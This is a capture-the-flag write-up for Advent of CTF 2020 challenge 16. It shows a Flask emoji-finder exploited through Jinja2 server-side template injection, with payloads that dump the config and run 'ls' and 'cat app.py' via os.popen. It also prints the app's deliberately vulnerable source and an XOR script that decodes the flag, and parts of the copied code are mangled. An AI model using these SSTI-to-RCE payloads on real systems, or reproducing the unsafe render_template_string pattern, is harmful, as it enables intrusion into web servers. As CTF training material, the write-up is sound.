Write-Up Advent of CTF 2020 Challenge 16
Overview
The NOVI University Of Applied Sciences is offering an Advent CTF challenge for December 2020.
The CTF is created by our community member of the Hackdewereld.nl and Chief Lecturer for Cyber Security at the NOVI University, Arjen Wiersma. If you want to participate in these CTF challenges, you can create an account on the website https://www.adventofctf.com
.
Challenge 16
- Description: Santa has launched a new product, the Emoji finder! This is the first version, can you find your favorite emoji?
- 1600 Points
Let’s start with this challenge. We visit the challenge URL https://16.adventofctf.com, and we are ended up on this webpage. We have to find our favorite emoji. Well, I think that we can forget the emoij and directly start to look for a vulnerability in this webpage.
Well, let’s start with finding something interesting. After trying some payloads, we can find that this website is vulnerable for a Server Side Template Injection, with this payload:
1
{{7*'7'}}
It will be result in 7777777
. This means that the Jinja2
engine is in use and that we have find a vulnerability.
I have already done some challenges with this vulnerability, and those write-ups contains some explanation about this vulnerability. You can read the explanation in this write-up:
If you need a password to read those write-ups, it’s because the machine and challenge are still active on Hack The Box, it’s now allowed to publish write-ups public of active machines and challenges. If you do not have the flags to read those write-ups, you have to wait until they are retired 🙂
But don’t worry, Portswigger also has a nice article with an explanation. That’s where I got my information from https://portswigger.net/research/server-side-template-injection.
Let’s proceed. Let’s first try to read the configuration file with this payload { {config.items()} }
. The website is returning the contents of this file.
If we are reading the contents of this file, we can find the encrypted flag in the FLAG
element.
HKQ\x1f\x7f~e|\x06{r9<\x03/3z\x12#Rr)G#*\x14,#dp=Z@AP\x0c*
Ok, let’s proceed. This flag is encoded, we need to find out, how this flag is encrypted and we need to find a way to decrypt this flag. Let’s try next to do a Remote Code Execution (RCE) on this box and list the files. For listing the files we can use this payload:
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
Well, we can read some files. The file app.py
is quite interesting, let’s read the contents of this file. We can take the contents of this file by invoking this payload.
{ {config.class.init.globals['os'].popen('cat app.py').read()} }
Let’s copy the contents of this Python script and let’s start analyzing it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import random
from flask
import Flask, render_template_string, render_template, request
import os import
emojis app = Flask(__name__) app.config['SECRET_KEY'] = 'Leer alles over Software Security bij Arjen (follow @credmp) at https://www.novi.nl'
# Interesting definition. It's encrypting the flag
def magic(flag, key):
return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag)))
file = open("/tmp/flag.txt", "r")
flag = file.read()
app.config['flag'] = magic(flag, '112f3a99b283a4e1788dedd8e0e5d35375c33747') # reading the flag from config file, with the decryption key
flag = ""
os.remove("/tmp/flag.txt")
@app.route('/', methods=['GET', 'POST'])
# The rest is not interesting you can forget
def index():
if request.method == 'POST':
emoji="unknown"
try:
p = request.values.get('emoji')
if p != None:
emoji = emojis.db.get_emoji_by_alias(p)
except Exception as e:
print(e)
pass
try:
if emoji == None:
return render_template_string("You entered an unknown emoji: %s" % p)
else:
return render_template_string("You entered %s which is %s. It's aliases %s" % (p, emoji.emoji, emoji.aliases))
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Solution
Ok, it’s a huge script, but for the most part, you can forget. The definition magic
is passing two parameters. The first parameter is flag
and the second is the parameter key
. As we can see, this definition is encrypting the flag in this part:
1
2
3
4
5
6
7
8
9
def magic(flag, key):
return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag)))
We can now decrypt the flag. We can take this part of the script and make some modifications to decrypt the flag. You can use this [online Python IDE](https://www.online-python.com/){:target="_blank"} to running this piece of code.
def magic(flag, key):
print(''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag))))
magic(,"HKQ\x1f\x7f~e|\x06{r9<\x03/3z\x12#Rr )G#*\x14,#dp=Z@AP\x0c*","112f3a99b283a4e1788dedd8e0e5d35375c33747")
After running this script, we got the decoded flag: NOVI{you_used_the_m@gic_of_christmas}
.
Thanks for reading!